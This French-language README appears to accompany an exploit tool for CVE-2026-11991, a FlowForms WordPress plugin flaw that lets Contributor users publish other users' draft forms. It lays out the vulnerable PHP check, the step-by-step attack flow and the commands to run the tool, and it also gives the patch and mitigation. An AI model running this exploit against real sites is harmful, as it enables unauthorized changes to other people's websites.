
Exploit automatisé pour CVE-2026-11991, un contournement d'autorisation dans le plugin WordPress FlowForms permettant aux utilisateurs Contributor+ de publier n'importe quel formulaire en brouillon via des requêtes REST API spécialement conçues.
| Propriété | Valeur |
|---|
| ID CVE | CVE-2026-11991 |
| Score CVSS | 6.2 — Moyen |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Contournement d'autorisation via une clé contrôlée par l'utilisateur) |
| Produit | FlowForms — Extension WordPress de création de formulaires conversationnels |
| Versions concernées | Toutes les versions jusqu'à la 1.1.1 inclus |
| Corrigé dans | 1.1.2 |
| Chercheur | Phantom Hat |
Étude de cas complète en boîte blanche avec analyse du code source, traçage des flux d'entrée et comparaison des correctifs :
FlowForms expose une API REST sous l'espace de noms flowforms/v1. Le point de terminaison de publication :
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
accepte un {id} contrôlé par l'utilisateur dans le chemin de l'URL et fait passer un formulaire brouillon en ligne sur le site.
Le permission_callback pour la route /publish n'effectue qu'une vérification générique de capacité :
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts est une capacité détenue par les Contributeurs — un rôle que WordPress restreint intentionnellement en matière de publication de contenu. Il n'existe aucune vérification de propriété par rapport au form_id cible. Tout utilisateur authentifié peut publier n'importe quel formulaire brouillon sur le site.
Attaquant (Contributeur) API REST FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) S'authentifier en tant que Contributeur
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Récupérer le nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Énumérer les formulaires brouillons
│<─ "Form Not Published" ───────────│ (réponse non authentifiée)
│ │
│── POST /flowforms/v1/forms/ │ (4) Déclencher la publication sur
│ {id}/publish ─────────────>│ n'importe quel ID de formulaire brouillon
│ │ ← aucune vérification de propriétaire
│<─ { "success": true } ────────────│
│ │
│ Le formulaire est maintenant │ (5) Le brouillon contourne
│ EN LIGNE sur le site │ le flux de travail éditorial
│ sans approbation éditoriale │
Contributeur sur le site ciblegit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Option | Description | Requis |
|---|---|---|
--url | URL WordPress cible | ✅ |
--user | Nom d'utilisateur WordPress (Contributeur+) | ✅ |
--password | Mot de passe WordPress | ✅ |
--num_forms | Nombre d'ID de formulaires à énumérer | ✅ |
--id_start | ID de formulaire de départ pour l'énumération | ✅ |
--proxy | URL du proxy (ex. http://127.0.0.1:8080) | ❌ |
L'exploit effectue trois étapes automatisées :
Étape 1 — Authentification
Se connecte en tant qu'attaquant (Contributeur) et récupère un nonce REST API valide depuis wp-admin.
Étape 2 — Énumération des brouillons
Analyse GET /flowform/{id} sur la plage d'ID spécifiée. Les formulaires renvoyant "Form Not Published" sont collectés comme cibles — ce sont des formulaires brouillons dont l'attaquant n'est pas propriétaire.
Étape 3 — Publication
Envoie POST /flowforms/v1/forms/{id}/publish avec le nonce de l'attaquant. Le point de terminaison accepte la requête, fait passer le brouillon en ligne et rend le formulaire actif — sans aucune vérification d'autorisation sur la propriété.
| Action | Détails |
|---|---|
| Correctif | Remplacer la vérification générique edit_posts par current_user_can('edit_post', $form_id) — le second argument lie la vérification de capacité à l'objet post spécifique, appliquant les règles de propriété de WordPress |
| Atténuation | En attendant le correctif, restreindre les rôles Contributeur et Auteur si l'extension est active |
// VULNÉRABLE
'permission_callback' => fn() => current_user_can('edit_posts'),
// SÉCURISÉ (corrigé)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # Exploit perfectionné avec interface riche
├── requirements.txt # Dépendances Python
└── README.md # Ce fichier
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et de recherche pédagogique. L'accès non autorisé à des systèmes informatiques est illégal en vertu des lois applicables dans le monde entier. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. Obtenez toujours une autorisation écrite explicite avant de tester tout système dont vous n'êtes pas propriétaire.
Phantom Hat — Chercheur en sécurité indépendant
Cette recherche a été menée dans le cadre d'une divulgation responsable de vulnérabilité.